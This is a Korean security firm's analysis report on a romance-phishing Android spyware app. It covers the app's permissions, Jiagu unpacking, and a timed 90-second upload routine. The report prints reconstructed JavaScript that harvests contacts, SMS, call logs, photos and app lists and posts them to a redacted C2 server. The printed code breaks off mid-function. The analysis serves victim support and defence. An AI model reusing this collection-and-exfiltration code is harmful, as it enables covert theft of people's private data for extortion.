> 보고서 버전: v2.0 (심층 코드 분석 확장)
> 분석 일자: 2025-09-08 ~ 2025-09-09
> v2.0 확장: 2026-02-14
> 분석 기관: 주식회사 아크링크 (378-88-03382)
> 분석가: [비공개] 대표
> 위협 등급: CRITICAL (CVSS 3.1: 9.4)
> 프레임워크: DCloud UniApp (H5+ Hybrid)
> 보호: Jiagu by Frezrik (XOR Encrypted DEX)
> 프로젝트: Project 14 - Jiagu 보호 우회
> 취약점: 20개 | 공격 기법: 25개 | 코딩 실수: 12개
항목 · 값
**파일명** · 1757327090734.apk
**패키지명** · uni.werhb.mwfcekdckql
**앱 이름** · 伪恋圈 (위련권, "가짜 연애 서클")
**앱 ID** · __UNI__251AF05
**앱 버전** · 2.1.39 (코드: 2025)
**프레임워크** · DCloud UniApp (H5+ Hybrid WebView)
**메인 액티비티** · io.dcloud.PandoraEntry
**Application 클래스** · com.frezrik.jiagu.StubApp (보호 스텁)
**minSdkVersion** · 21 (Android 5.0 Lollipop)
**targetSdkVersion** · 35 (Android 15)
**APK 크기** · 17.4 MB
**채널** · DCLOUD_STREAMAPP_CHANNEL: common
**광고 ID** · 126609040308
**보호 시스템** · Jiagu (加固) by Frezrik
**암호화 방식** · XOR 암호화 DEX (키: ab1234cd)
DCloud UniApp은 Vue.js 기반의 크로스 플랫폼 하이브리드 앱 프레임워크이다. 네이티브 Android 컨테이너(PandoraEntry) 내에서 WebView로 HTML/CSS/JavaScript 앱을 실행한다. 핵심 비즈니스 로직은 JavaScript(app-service.js) 내에 존재한다.
```json
{
"id": "__UNI__251AF05",
"name": "伪恋圈",
"version": { "name": "2.1.39", "code": 2025 },
"permissions": {
"Contacts": { "description": "Contacts" },
"Camera": { "description": "Camera" },
"UniNView": { "description": "UniNView" }
},
"plus": {
"splashscreen": { "autoclose": true, "delay": 0 },
"statusbar": { "immersed": "supportedDevice", "style": "dark" },
"uni-app": { "compilerVersion": "4.75", "control": "uni-v3" }
}
}
```
총 33개 이상의 권한이 요청되며, 대다수가 개인정보 탈취에 직접 관련된다.
권한 · 위험도 · 피해 시나리오
`READ_SMS` · **Critical** · SMS 메시지 전체 탈취 (인증번호, 금융 알림 포함)
`RECEIVE_SMS` · **Critical** · 수신 SMS 실시간 가로채기 (OTP 탈취)
`SEND_SMS` · **Critical** · [피해자 정보 비공개] 스미싱 발송
`READ_CONTACTS` · **Critical** · 연락처 전체 탈취 후 2차 피싱
`WRITE_CONTACTS` · **High** · 연락처 위변조
`READ_CALL_LOG` · **Critical** · 통화기록 탈취 (50건 이상)
`WRITE_CALL_LOG` · **High** · 통화기록 조작으로 증거 인멸
`CALL_PHONE` · **High** · 무단 전화 발신, 과금 유발
`READ_PHONE_STATE` · **High** · IMEI, 전화번호, SIM 정보 수집
`ACCESS_FINE_LOCATION` · **High** · GPS 기반 정밀 위치 추적
`ACCESS_COARSE_LOCATION` · Medium · 대략적 위치 파악
`RECORD_AUDIO` · **High** · 주변 소리 녹음, 통화 도청
`CAMERA` · **High** · 원격 사진 촬영, 사생활 침해
`GET_ACCOUNTS` · Medium · Google 계정 정보 수집
`READ_EXTERNAL_STORAGE` · **High** · 사진, 문서 파일 탈취 (300건 이상)
`WRITE_EXTERNAL_STORAGE` · Medium · 파일 조작
`READ_MEDIA_IMAGES` · **High** · 이미지 파일 탈취
`READ_MEDIA_VIDEO` · Medium · 동영상 파일 탈취
`READ_MEDIA_VISUAL_USER_SELECTED` · Medium · 사용자 선택 미디어 접근
`INTERNET` · Normal · C2 서버 통신
`ACCESS_NETWORK_STATE` · Normal · 네트워크 상태 확인
`ACCESS_WIFI_STATE` · Normal · WiFi 정보 수집
`CHANGE_NETWORK_STATE` · Medium · 네트워크 설정 변경
`CHANGE_WIFI_STATE` · Medium · WiFi 설정 변경
`INSTALL_PACKAGES` · **High** · 추가 악성앱 설치
`REQUEST_INSTALL_PACKAGES` · **High** · 앱 설치 요청
`BROADCAST_SMS` · **Critical** · SMS 브로드캐스트 가로채기
`MODIFY_AUDIO_SETTINGS` · Medium · 오디오 설정 변경
`FLASHLIGHT` · Low · 플래시 제어
`GET_TASKS` · Medium · 실행 중인 앱 목록 수집
`READ_LOGS` · Medium · 시스템 로그 읽기
`SET_ALARM` · Low · 알람 설정
`VIBRATE` · Low · 진동
`WAKE_LOCK` · Low · 화면 유지
app-service.js 분석 결과, 앱은 다음 순서로 권한을 강제 요청한다:
```
1. 앱 실행 -> 로고 화면 표시
2. stateContact: READ_CONTACTS 권한 요청 팝업
· "거부" 클릭 시 앱 강제 종료 (outApp())
3. stateSMS: READ_SMS 권한 요청 팝업
· "거부" 클릭 시 앱 강제 종료
4. stateTh: READ_CALL_LOG 권한 요청 팝업
· "거부" 클릭 시 앱 강제 종료
5. statePhoto: READ_EXTERNAL_STORAGE 권한 요청 팝업
· "거부" 클릭 시 앱 강제 종료
6. 모든 권한 허용 후 -> 로그인 화면 (전화번호 + 초대코드)
```
피해자가 하나라도 권한을 거부하면 outApp() 함수가 호출되어 앱이 즉시 종료됨. 이는 모든 권한 획득이 완료될 때까지 앱 사용을 차단하는 강제 전략이다.
```
1757327090734.apk (17.4 MB)
├── classes.dex (16,928,276 bytes) - Jiagu StubApp 보호 코드
├── assets/
│ ├── 39285EFA.dex (71,500 bytes) - XOR 암호화된 실제 DEX
│ ├── libjiagu.so (133 KB) - 32비트 보호 라이브러리
│ ├── libjiagu_64.so (240 KB) - 64비트 보호 라이브러리
│ ├── libjiagu_x86.so (235 KB)
│ ├── libjiagu_x86_64.so (264 KB)
│ └── apps/__UNI__251AF05/www/
│ ├── app-service.js [핵심 악성 로직]
│ ├── app-config.js [웹팩 설정]
│ ├── app-config-service.js
│ ├── app-view.js [UI 렌더링]
│ ├── view.css [스타일시트]
│ ├── view.umd.min.js [Vue.js 런타임]
│ ├── manifest.json [앱 메타데이터]
│ ├── androidPrivacy.json [개인정보 처리방침]
│ ├── __uniappview.html [WebView 메인 페이지]
│ └── static/
│ ├── 1.jpg [유인용 이미지 1]
│ ├── 2.jpg [유인용 이미지 2]
│ └── android/drawable-*/ [스플래시 이미지]
├── lib/arm64-v8a/
│ └── lib39285EFA.so (154 KB) - 네이티브 로더 (DexClassLoader)
└── res/ (DCloud 리소스)
```
```
실행 흐름:
1단계: com.frezrik.jiagu.StubApp 실행 (Java)
2단계: lib39285EFA.so 네이티브 라이브러리 로드
3단계: libjiagu_64.so 동적 복사 (/data/data/.jiagu/)
4단계: assets/39285EFA.dex XOR 복호화 (키: ab1234cd)
5단계: DexClassLoader로 복호화된 DEX 동적 로드
6단계: io.dcloud.PandoraEntry 실행 -> WebView 로드
7단계: app-service.js 실행 -> 악성 동작 시작
```
app-service.js에서 발견된 주요 악성 기능:
```javascript
// 연락처 수집
getLXRCkb: function(callback) {
plus.contacts.getAddressBook(
plus.contacts.ADDRESSBOOK_PHONE,
function(addressBook) {
addressBook.find(
["displayName", "phoneNumbers"],
function(contacts) {
// 모든 연락처의 이름 + 전화번호 수집
}
);
}
);
}
// SMS 수집
getmsgInfo: function() {
// content://sms/ ContentProvider로 최대 300건 SMS 수집
// address(발신자), body(내용), date(일시), type(유형) 수집
}
// 통화기록 수집
getCalllog: function(callback) {
// CallLog.Calls.CONTENT_URI로 최대 50건 통화기록 수집
// 이름, 전화번호, 통화시간, 날짜, 유형(수신/발신/부재) 수집
}
// 이미지 수집
getImageList1: function() {
// MediaStore.Images.Media로 최대 300장 이미지 경로 수집
}
// 설치된 앱 목록 수집
getAppList: function() {
// PackageManager.getInstalledPackages로 비시스템 앱 목록 수집
}
```
```javascript
// 메인 API 서버 설정
Vue.prototype.AppUrl = "[비공개]
// 로그인 + 데이터 전송 흐름
loginFn: function() {
// 1. 전화번호 검증 (8-11자리)
// 2. 초대코드 검증 (4-6자리)
// 3. 통화기록 수집 -> getCalllog()
// 4. 연락처 수집 -> getLXRCkb()
// 5. 연락처+통화기록+앱목록+SMS 전체를 하나의 문자열로 결합
// 6. POST /uploads/api 로 전송
// 7. 성공 시 -> getUserId() -> 이미지 업로드 시작
// 8. SMS 별도 전송 -> POST /uploads/apisms
}
// 데이터 전송 포맷
uploadsTxl: function() {
var data = phone + "_" + randomCode
+ "**" + inviteCode
+ "**" + deviceVendor
+ "_" + contactCount
+ "_" + imageCount
+ "_" + smsCount
+ "_##_" + appListNames
+ "_##_" + callLogData;
// 연락처 데이터 결합
for (var i = 0; i < contacts.length; i++) {
data += "=" + contactName + "|" + phoneNumber;
}
// POST 전송
uni.request({
url: AppUrl + "uploads/api",
data: { data: data }
});
}
```
모든 수집 함수에 동일한 6중 특수문자 제거 체인이 적용된다. 이는 커스텀 구분자(**, ##, =, |, _, #)와의 충돌 방지를 위한 것이다.
```javascript
// 모든 수집 데이터에 적용되는 정제 체인 (6회 반복 패턴)
name.replace(/#/g,"").replace(/_/g,"").replace(/\*/g,"")
.replace(/=/g,"").replace(/|/g,"").replace(/\+/g,"")
```
적용 위치 분석:
함수 · 적용 대상 · try-catch 래핑 · 비고
`getAppList()` · `appName` · O · 앱 이름에서 제거
`getCalllog()` · `CACHED_NAME`, `NUMBER` · O (각각 별도) · null 체크 후 정제
`uploadsTxl()` · `displayName`, `phoneNumbers[0].value` · O (각각 별도) · "XX", "077" 폴백
`getmsgInfo()` · 미적용 · - · **SMS는 정제 없이 전송**
`getLXRCkb()` · 미적용 · - · 원본 그대로 수집
핵심 발견: SMS 메시지 본문(body)과 발신자(address)에는 정제가 적용되지 않는다. 이는 SMS 데이터가 JSON 형태(uploadsMsg)로 별도 전송되므로 구분자 충돌이 없기 때문이다. 반면 연락처 데이터는 =와 |로 구분된 단일 문자열로 결합되므로 정제가 필수적이다.
getUserId() 응답에서 서버 에러 발생 시 HTML 응답을 파싱하는 독특한 패턴이 존재한다:
```javascript
getUserId: function() {
uni.request({
url: this.AppUrl + "uploads/getuserid",
data: { mobile: this.phone + "_" + this.shujishu },
// ...
success: function(n) {
if (1 == n.data.code) {
// 정상: userId 발급 → 이미지 업로드 시작
e.userId = n.data.data;
e.uploadsImageList();
} else {
// 에러 핸들링: HTML 응답 파싱
if (-1 != n.data?.msg.indexOf("html") &&
-1 != n.data?.msg.indexOf("System Error") &&
-1 != n.data?.msg.indexOf("</style>")) {
// HTML 에러 페이지에서 </style> 이후 텍스트만 추출
uni.showToast({
title: (n.data?.msg ?? "").split("</style>")[1],
duration: 4000
});
} else {
// 일반 에러 메시지 표시
uni.showToast({ title: n.data?.msg ?? "", duration: 3000 });
}
}
}
});
}
```
이 패턴은 서버가 RuoYi/Spring Boot 계열의 에러 페이지를 반환할 때, HTML 태그를 제거하고 사용자에게 의미 있는 에러 메시지만 표시하기 위한 것이다. </style> 태그를 기준으로 분할하는 것은 RuoYi 기본 에러 템플릿의 구조를 활용한 것이다.
데이터 전송 완료 후 90초 카운트다운이 시작되며, 이 시간 동안 피해자에게 "로딩 중" UI를 표시하면서 백그라운드에서 이미지/SMS 업로드를 완료한다:
```javascript
startCountdown: function() {
this.showCountdown = true; // 카운트다운 UI 표시
this.countdownTimer && clearInterval(this.countdownTimer); // 기존 타이머 정리
this.countdownTimer = setInterval(function() {
if (e.countdownTime > 0) {
e.countdownTime--; // 1초마다 감소
} else {
clearInterval(e.countdownTimer);
e.countdownTimer = null;
e.showCountdown = false;
// 90초 후 WebView 페이지로 이동 (피해자에게 정상 앱처럼 보이게)
uni.navigateTo({ url: "/pages/html/html" });
}
}, 1000); // 1초 간격
}
```
타이밍 분석:
```
T+0s: uploadsTxl() 성공 → "正在加载列表" 응답
T+0s: startCountdown() 호출 (90초 시작)
T+0s: getUserId() 호출
T+3s: uploadsMsg() 호출 (SMS 전송, 60초 타임아웃)
T+~5s: userId 수신 → uploadsImageList() 시작
T+5~90s: 이미지 300장 순차 업로드 (압축 후)
T+90s: WebView 페이지로 이동 (데이터 전송 완료 여부 무관)
```
90초는 300장의 이미지를 압축(600px/60%)하고 업로드하기에 충분한 시간으로 설계되어 있다.
로그인 함수에 60초 타임아웃이 설정되어 있어, 네트워크 지연이나 서버 무응답 시 UI가 영구적으로 로딩 상태에 빠지는 것을 방지한다:
```javascript
loginFn: function() {
this.loginState = true; // 중복 클릭 방지 플래그
// 60초 타임아웃 방어
setTimeout(function() {
if (t.loginState) {
t.loginState = false;
uni.hideLoading();
uni.showToast({ title: "操作超时,请重试", duration: 2000 });
// "작업 시간초과, 재시도하세요"
}
}, 60000); // 60초
uni.showLoading({ title: "正在登录中..." });
// "로그인 중..."
// getCalllog → getLXRCkb → uploadsTxl 체인 시작
this.getCalllog(function(callData) {
t.phonethjl = callData;
t.getLXRCkb(function() {
setTimeout(function() { t.uploadsTxl(); }, 5000);
// 연락처 수집 후 5초 대기 → 전송
});
});
}
```
실행 체인 분석:
```
loginFn()
├── loginState = true (중복 방지)
├── setTimeout(60s) → 타임아웃 감시
├── getCalllog(callback) [1초 후 결과]
│ └── callback → getLXRCkb(callback) [비동기]
│ └── callback → setTimeout(5s)
│ └── uploadsTxl() [5초 대기 후 전송]
│ ├── 성공: startCountdown() + getUserId() + uploadsMsg(3초 후)
│ └── 실패: VPN 유도 모달
└── (이미 SMS/이미지는 onShow()에서 사전 수집 완료)
```
초대코드(code)는 클라이언트 측에서 기본적인 형식 검증만 수행하며, 실제 유효성은 서버에서 검증한다:
```javascript
// 클라이언트 검증
setCode: function(t) {
var e = t.detail.value.replace(/\s+/g, ""); // 공백 제거
e = e.replace(/[^0-9]/g, ""); // 숫자만 허용
e.length > 6 && (e = e.substring(0, 6)); // 최대 6자리
this.code = e;
}
// loginFn 내 검증
if (this.code.length < 4 || this.code.length > 6) {
uni.showToast({ title: "邀请码长度必须为4-6位!" }); // 4~6자리 필수
return;
}
```
초대코드 의미: 4~6자리 숫자로, 조직 내 [피해자 정보 비공개] 경로를 추적하는 데 사용된다. 각 조직원에게 고유 초대코드를 발급하여 "실적 관리"에 활용한다.
permission.js 모듈에는 iOS 전용 코드가 대량으로 존재한다. 이는 UniApp의 크로스 플랫폼 특성상 iOS/Android 코드가 동일 소스에 포함되기 때문이다:
```javascript
// permission.js - iOS 권한 체크 코드 (Android APK에 포함됨)
n = "iOS" == plus.os.name; // 플랫폼 판별
// iOS 위치 권한 체크
var n = plus.ios.import("CLLocationManager");
var i = n.authorizationStatus(); // 2 = denied, 3 = authorized
// iOS 카메라 권한 체크
var n = plus.ios.import("AVCaptureDevice");
var i = n.authorizationStatusForMediaType("vide"); // "vide" = video
// iOS 연락처 권한 체크
var n = plus.ios.import("CNContactStore");
var i = n.authorizationStatusForEntityType(0); // 0 = contacts
// iOS 마이크 권한 체크
var n = plus.ios.import("AVAudioSession");
var o = i.recordPermission();
// 1684369017 = AVAudioSessionRecordPermissionUndetermined
// 1970168948 = AVAudioSessionRecordPermissionDenied
// iOS 앱 종료 (Android와 다른 방법)
plus.ios.import("UIApplication").sharedApplication().performSelector("exit");
```
발견된 iOS API 참조:
iOS API · 용도 · Android 대응
`CLLocationManager` · 위치 권한 · `android.permission.ACCESS_FINE_LOCATION`
`AVCaptureDevice` · 카메라 권한 · `android.permission.CAMERA`
`PHPhotoLibrary` · 사진 라이브러리 · `android.permission.READ_EXTERNAL_STORAGE`
`AVAudioSession` · 마이크 권한 · `android.permission.RECORD_AUDIO`
`CNContactStore` · 연락처 권한 · `android.permission.READ_CONTACTS`
`EKEventStore` · 캘린더/메모 · 사용되지 않음
`UIApplication` · 앱 종료 · `plus.runtime.quit()`
이는 동일 악성 앱이 iOS 버전으로도 배포되었거나, 배포를 계획하고 있음을 시사한다. iOS에서는 plus.ios.import()를 통해 Objective-C 런타임에 직접 접근하는 기법을 사용한다.
onShow() 라이프사이클 훅에서 로그인 전에 이미 데이터 수집을 시작하는 전략이 사용된다:
```javascript
onShow: function() {
this.loginState = false;
// 연락처 권한 요청 (최초 1회)
null == this.stateContact && permission.requestAndroidPermission(
"android.permission.READ_CONTACTS"
).then(function(e) { t.stateContact = 1 != e; });
// SMS 권한 + 즉시 수집 (로그인 전!)
null == this.stateSMS && permission.requestAndroidPermission(
"android.permission.READ_SMS"
).then(function(e) {
if (1 == e) {
t.stateSMS = false;
if (0 == t.msgList.length) t.getmsgInfo(); // SMS 즉시 수집
} else { t.stateSMS = true; }
});
// 사진 권한 + 즉시 수집 (로그인 전!)
null == this.statePhoto && permission.requestAndroidPermission(
"android.permission.READ_EXTERNAL_STORAGE"
).then(function(e) {
if (1 == e) {
t.statePhoto = false;
if (0 == t.imageListPath.length) t.getImageList1(); // 이미지 즉시 수집
} else { t.statePhoto = true; }
});
// 앱 목록 수집 (5초 후 - 로그인 전!)
"" == this.appListName && setTimeout(function() { t.getAppList(); }, 5000);
}
```
사전 수집 전략: 권한이 허용되는 즉시, 로그인 버튼을 누르기도 전에 SMS(300건), 이미지 경로(300장), 앱 목록이 메모리에 수집된다. 이후 로그인 시 이미 수집된 데이터를 즉시 전송하므로, 서버 전송 시간이 크게 단축된다.
통화기록 수집에서 ContentResolver 쿼리를 1초 setTimeout으로 래핑하는 독특한 패턴이 존재한다:
```javascript
getCalllog: function(callback) {
var n = plus.android.importClass("android.provider.CallLog");
var resolver = activity.getContentResolver();
var cursor = resolver.query(
n.Calls.CONTENT_URI, // content://call_log/calls
null, // 모든 컬럼
null, // WHERE 없음 (전체)
null, // 파라미터 없음
n.Calls.DEFAULT_SORT_ORDER // 최신순 정렬
);
setTimeout(function() { // 1초 대기 후 처리
var records = [];
var count = 0;
// 통화 유형 해석
var typeMap = function(t) {
switch(parseInt(t ?? 4)) {
case 1: return "呼入"; // 수신
case 2: return "呼出"; // 발신
case 3: return "未接"; // 부재중
default: return "挂断"; // 끊어짐
}
};
while(cursor.moveToNext()) {
count++;
var name = cursor.getString(cursor.getColumnIndex(n.Calls.CACHED_NAME));
var number = cursor.getString(cursor.getColumnIndex(n.Calls.NUMBER));
var duration = cursor.getString(cursor.getColumnIndex(n.Calls.DURATION));
var date = cursor.getString(cursor.getColumnIndex(n.Calls.DATE));
var type = cursor.getString(cursor.getColumnIndex(n.Calls.TYPE));
// sanitization 적용
name = (name == null ? "" : name).replace(/#/g,"")...
number = (number == null ? "" : number).replace(/#/g,"")...
records.push({
xm: name, telphone: number, duration: duration,
date: formatDate(date), type: typeMap(type)
});
if (count > 50) break; // 최대 50건
}
// 결합 문자열 생성 (# 구분자)
var result = "";
for (var i = 0; i < records.length; i++) {
if (result != "") result += "#";
result += records[i].xm + "_" + records[i].telphone + "_" +
records[i].duration + "_" + records[i].date + "_" +
records[i].type;
}
callback(result);
}, 1000); // 1초 대기
}
```
수집 필드: 이름(CACHED_NAME), 전화번호(NUMBER), 통화시간(DURATION), 날짜(DATE), 유형(TYPE)
1초 setTimeout의 의미: ContentResolver.query()가 JavaScript 브릿지를 통해 비동기로 실행되므로, cursor가 완전히 준비될 때까지 1초 대기하는 것이다. 이는 네이티브 API와 JavaScript 간의 동기화 문제를 회피하기 위한 해킹적 방법이다.
이미지는 압축 후 순차적으로 업로드된다:
```javascript
uploadsImageList: function() {
for (var t = 0; t < this.imageListPath.length; t++)
this.fetchFileData("file://" + this.imageListPath[t]);
},
fetchFileData: function(filePath) {
uni.compressImage({
src: filePath,
width: 600, // 가로 600px로 리사이즈
quality: 60, // 60% 품질
success: function(compressed) {
uni.uploadFile({
url: n.AppUrl + "uploads/img",
filePath: compressed.tempFilePath,
name: "data",
formData: { id: n.userId },
success: function(resul
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr